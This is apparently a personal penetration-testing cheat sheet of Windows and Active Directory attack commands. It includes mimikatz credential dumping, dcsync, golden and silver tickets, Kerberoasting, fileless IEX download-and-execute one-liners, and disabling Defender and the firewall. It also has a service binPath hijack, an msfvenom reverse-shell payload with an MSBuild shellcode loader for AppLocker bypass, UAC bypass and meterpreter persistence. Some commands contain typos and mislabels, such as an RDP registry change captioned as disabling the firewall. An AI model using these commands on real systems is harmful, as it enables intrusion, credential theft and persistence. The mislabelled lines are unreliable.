Windows Notes

8 minute read

General

Check os version:

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

Check for additional drives (meterpreter):

show_mount

Check for additional drives (wmic):

wmic logicaldisk get name|caption

Check for additional drives (powershell):

get-psdrive 

List installed programs:

reg query HKEY_LOCAL_MACHINE\SOFTWARE
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall

Check linux subsystem:

C:\Users\<name>\AppData\Local\Packages\CanonicalGroup...

Search writeable directories:

dir /a-r-d /s /b

Search files by name:

dir /s *foo*

Search Files by content:

findstr /s /i <needle> *.*

Search Files by owner:

dir c:\*.* /S /Q|FIND /i "owner"

Search files in meterpreter:

search -f *.<ext>`

Search for alternate data streams (ads):

dir /s /R /a 

Check named pipes in Powershell:

[System.IO.Directory]::GetFiles("\\.\\pipe\\")

Grep file contents in Powershell:

Select-String -Path <path> -Pattern <pattern> | out-host -paging

Enumerate SMB:

smbmap -R -H \\<ip>
smbclient -L \\<ip> -N
smbclient \\<ip>\share -U <user>
smbget -R <ip>

Grant permissions with icacls:

icacls <filename> /grant <username>(OI)(CI)F /T

Search registry:

reg query HKLM /s | findstr /i <item>
reg query HKCU /s | findstr /i <item>
reg query HKLM /f <item> /t REG_SZ /s
reg query HKCU /f <item> /t REG_SZ /s

Print wlan keys:

netsh wlan show profile <name> key=clear

Powershell port scan:

0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect("<ip>",$_)) "Port $_ is open!"} 2>$null

Create local smb server and capture hashes:

sudo impacket-smbserver <name> <path>

Capture hashes via scf file:

[Shell]
Command=2
IconFile=\\X.X.X.X\xct\file.ico
[Taskbar]
Command=ToggleDesktop

Deploy vnc (TightVNC):

msiexec /i "tightvnc.msi" /quiet /norestart ADDLOCAL="Server,Viewer" VIEWER_ASSOCIATE_VNC_EXTENSION=1 SERVER_REGISTER_AS_SERVICE=1 SERVER_ADD_FIREWALL_EXCEPTION=1 VIEWER_ADD_FIREWALL_EXCEPTION=1 SERVER_ALLOW_SAS=1 SET_USEVNCAUTHENTICATION=1 VALUE_OF_USEVNCAUTHENTICATION=1 SET_PASSWORD=1 VALUE_OF_PASSWORD=PASSWORD SET_USECONTROLAUTHENTICATION=1 VALUE_OF_USECONTROLAUTHENTICATION=1 SET_CONTROLPASSWORD=1 VALUE_OF_CONTROLPASSWORD=PASSWORD

Find files by date:

xcopy *.* c:\temp\*.* /D:02-09-2019 /L /S

Bypass Execution Policy (for domain users) by changing registry as local administrator:

HKLM:\Software\Policies\Microsoft\Windows\PowerShell # change value to bypass

Useful commands in rpcclient:

rpcclient -U <user> <ip>
lookupnames <name>
lookupsids <sid>

Dumping processes with procdump:

procdump.exe -accepteula -ma <pid>

Credentials

Check for stored credentials:

cmdkey /list

Use stored credentials:

runas /user:administrator /savecred "cmd.exe /k whoami"

Use smb credentials:

python2 /usr/bin/smbclient.py <Domain>/<user>@<ip> -hashes <part1>:<part2>
auxiliary/scanner/smb/smb_login  
crackmapexec <ip(s)> -d <domain> -u <user> -p <pass>
exploit/windows/smb/psexec
net use z: \\<ip>\c$ /user:<username> <password>
psexec.py -hashes :<hash> <domain>/<user>@<ip>

Use credentials in powershell with credssp:

sc start winrm
Enable-WSManCredSSP -Role "Client" -DelegateComputer "*"
Computer Configuration > Administrative Templates > System > Credentials Delegation > Allow Delegating Fresh Credentials.
Computer Configuration > Administrative Templates > System > Credentials Delegation > Allow Delegating Fresh Credentials with NTLM only server authentication.
$user = '<user>'
$pass = ConvertTo-SecureString -AsPlainText '<password>' -Force
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user,$pass
New-PSSession -URI http://<url>:5985/wsman -Authentication CredSSP -Credential $cred
Enter-PSSession -id <id>

Get hash as domain admin (kiwi):

dsync_ntlm <domain>\\<user>

Create golden ticket (kiwi):

golden_ticket_create -d <domain> -k <krbtgt hash> -s <domain-sid> -u <name, does not have to exist (but can)> -t <filename>

Use golden ticket (kiwi):

kerberos_ticket_use <filename>

Dump domain hashes with dcsync:

log
lsadump::dcsync /domain:<domain> /all /csv

Dump domain hashes via ntds.dit (make a shadowcopy first and copy out “c:\windows\ntds\ntds.dit”):

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

Create golden ticket:

# default
kerberos::golden /user:<name> /domain: <domain> /sid:<domain-sid>  /krbtgt:<krbtgt hash> /ticket:<filename> /groups:<comma seperated groups this 'virtual' user is part of>
# Some more options to set lifetime, renew etc. and used from PS
Invoke-Mimikatz -Command '"kerberos::golden /user:<user> /domain:<domain> /sid:<sid> /krbtgt:<hash> /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

Use golden ticket:

kerberos::ptt <filename>

Using a golden tickets powers:

dir \\DC\\C$
psexec \\DC cmd.exe

Create silver ticket:

Invoke-Mimikatz -Command '"kerberos::golden /user:<user> /domain:<domain> /sid:<sid> /target:<machine> /service:CIFS /rc4:<machine hash> /ptt"'

Create Shadowcopy

diskshadow.exe
set context persistent nowriters
add volume c: alias xct
create
expose %xct% x:
...
delete shadows volume %xct%
reset

Abusing Privileges

SeBackupPrivilege/SeRestorePrivilege

These privileges allow unrestricted read/write access to every file on the system. They have to be activated first though for which you can use this ps-script:

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Copy-FileSeBackupPrivilege <source> <target>

Powershell

Authenticate with pscredential:

$sec = ConvertTo.SecureString '<password>' -AsPlainText -Force
$cred = New.Object System.Management.Automation.PSCredential('<username>',$sec)

Decrypt stored secure credential:

$pw = Get-Content .\<file> | ConvertTo-SecureString
$bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($pw)
$UnsecurePassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)

Invoke command on remote host:

Invoke-Command -ComputerName <target> -Credential $cred -ScriptBlock { whoami }

Decrypt secure string:

[System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR(<string>))

Compact for-loop:

1,2,3,4 | % {write-host $_}

Scan selected ports:

22,53,80,443,445 | % { Test-Connection -ComputerName <ip> -Port $_ }

Unzip:

Add-Type -assembly 'system.io.compression.filesystem';[io.compression.zipfile]::ExtractToDirectory("<archive path>","<target dir>")

Check for hidden streams:

Get-Item -Stream * <path>

Disable Windows Defender:

powershell.exe -exec bypass -command Set-MpPreference -DisableRealtimeMonitoring $true

Check for Constrained Language Mode (only allows builtin cmdlets):

$ExecutionContext.SessionState.LanguageMode

Inject .ps1 into session:

Invoke-Command -FilePath <script> -Sessions $sessions
Enter-PSSession -Session $sess

Services

Check for running services:

sc query
sc query <name>
sc qc <name>
reg query HKLM\SYSTEM\CurrentControlSet\Services

Exploit UsoSVC, this requires permissions to change the service & restart it (e.g. this is the case for the IIS user by default):

sc qc UsoSvc
sc stop UsoSvc
sc config UsoSvc binPath="cmd /c <payload>"
sc start UsoSvc

Create Softlink (Junction):

mklink /j <name> <target>

Create Hardlink to file:

mklink /h <name> <target>

List all links of a given file:

fsutil.exe hardlink list <filename>

Firewall

List rules:

netsh advfirewall firewall show rule name=all

Disable Firewall on Windows 7 via cmd:

Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server"  /v fDenyTSConnections /t REG_DWORD /d 0 /f

Disable Firewall on Windows 7 via Powershell:

powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value'`

Disable Firewall on any windows via cmd:

netsh Advfirewall set allprofiles state off

File Transfer

Download Powershell script and execute without touching disk:

IEX(New-Object Net.WebClient).downloadString('<url>/<payload>') ;<methodName>

Download to file:

Invoke-WebRequest "http://<ip>:<port>/<in file>" -OutFile "<out file>"

Privilege Escalation

PowerUp:

IEX(New-Object Net.WebClient).downloadString('<url>/PowerUp.ps1') ;Invoke-AllChecks

Mimikatz:

IEX(New-Object Net.WebClient).downloadString('<url>/MimiKatz.ps1') ;Invoke-Mimikatz -DumpCreds

Unquoted Service Paths:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

Kerberoast:

To begin make sure Port 88 is available (port forward if needed). Also make sure your time + timezone and the targets time are in sync, kerberos is very time sensitive. You can view the time on windows with tzdate /g

First get SPNs with one of the following techniques:

Remote via Impacket:

GetUserSPNs.py -request -dc-ip <ip> <domain>/<user>

Local via setspn.exe:

Add-Type -AssemblyName System.IdentityModel  
setspn.exe -T <domain> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  

Local via Powershell:

Add-Type -AssemblyName System.IdentityModel  
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/<user>.<domain>"  

Local via PowerSploit:

powershell.exe -Command 'IEX (New-Object Net.Webclient).DownloadString("http://<ip>:<port>/Invoke-Kerberoast.ps1");Invoke-Kerberoast -OutputFormat Hashcat

The result of this step will be the hash of a kerberos ticket. It can directly be cracked with hashcat64.exe -m 13100 roasted.hash <wordlist>.

Kerberos ticket export oneliner:

powershell.exe -exec bypass IEX (New-Object) Net.WebClient).DownloadString('<url to MimiKatz.ps1>'); Invoke-Mimikatz -Command "kerberos::list /export"

Juicy potato (metasploit), more details here:

use windows/local/ms16_075_reflection_juicy`
set SESSION <>
set CLSID <>

Common CLSIDs for the exploit are:

  • {e60687f7-01a1-40aa-86ac-db1cbf673334}
  • {752073A1-23F2-4396-85F0-8FDB879ED0ED}
  • {3c6859ce-230b-48a4-be6c-932c0c202048}
  • {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
  • {8F5DF053-3013-4dd8-B5F4-88214E81C0CF}
  • More can be found here

Powerview

All kinds of useful domain related commands.

List domain users in PowerView:

Get-DomainUser -Credential $cred -DomainController <dc>
Get-DomainUser -Credential $cred -DomainController <dc> | select samAccountName, logoncount, lastlogon

AppLocker Bypass MSBuild

Multistep process to bypass applocker via MSBuild.exe:

Generate payload for msbuild in csharp output format:

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f csharp -e x86/shikata_ga_nai -i <num of iterations> > <out>.cs`

Put the buffer into the template (be sure to change payload buffer, buffer size and some strings for av evasion:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee --> 
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {         
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );          
          public override bool Execute()
          {
            byte[] shellcode = new byte[195] {};
              
              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          } 
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Download & Execute:

Invoke-WebRequest "http://<ip>:<port>/<payload>.csproj" -OutFile "<outfile>.csproj"; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe .\<outfile>.csproj

AppLocker Bypass COR Profile

Create a dll payload like this reverse shell and run:

set COR_ENABLE_PROFILING=1
COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
set COR_PROFILER_PATH=<path>/pwn.dll
tzsync

UAC Bypass via white-listed binaries

Look for binaries that are white-listed by AppLocker:

findstr /C:"<autoElevate>true" 

Then examine the library load order with procmon and look if you can write in any path where it looks for its libraries. If a path can be written to place a simple dll there and it will be executed elevated. A nice post about this.

Common target binaries:

C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
C:\Windows\SysWOW64\SystemPropertiesComputerName.exe
C:\Windows\SysWOW64\SystemPropertiesHardware.exe
C:\Windows\SysWOW64\SystemPropertiesProtection.exe
C:\Windows\SysWOW64\SystemPropertiesRemote.exe

AV Evasion

Shelter https://www.shellterproject.com/download/ can inject shellcode into legit 32-Bit Executables and is likely to not get detected.

Meterpreter

Get Powershell in meterpreter session:

load powershell
powershell_shell

Get persistence:

run persistence -U -i 60 -p <LPORT> -r <LHOST>

Building and Signing MSIs

Use wix to generate msi files from xml or to manipulate existing msi files. A complete example can be seen in the Ethereal Writeup

Decrypting EFS files with Mimikatz:

Follow this guide:

privilege::debug 
token::elevate 
crypto::system /file:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\B53C6DE283C00203587A03DD3D0BF66E16969A55" /export

dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-494464150-3436831043-1864828003-1001\79e1ac78150e8bea8ad238e14d63145b_4f8e7ec6-a506-4d31-9d5a-1e4cbed4997b"

dpapi::masterkey /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Protect\S-1-5-21-494464150-3436831043-1864828003-1001\1eccdbd2-4771-4360-8b19-9d6060a061dc" /password:waza1234/

dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-494464150-3436831043-1864828003-1001\79e1ac78150e8bea8ad238e14d63145b_4f8e7ec6-a506-4d31-9d5a-1e4cbed4997b" /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b

openssl x509 -inform DER -outform PEM -in B53C6DE283C00203587A03DD3D0BF66E16969A55.der -out public.pem

openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_ffb75517-bc6c-4a40-8f8b-e2c555e30e34.pvk -out private.pem

openssl pkcs12 -in public.pem -inkey private.pem -password pass:mimikatz -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

certutil -user -p mimikatz -importpfx cert.pfx NoChain,NoRoot

type "d:\Users\Gentil Kiwi\Documents\encrypted.txt"

Common Exploits

Pivoting

Use ssf.

Interesting Reads

Updated: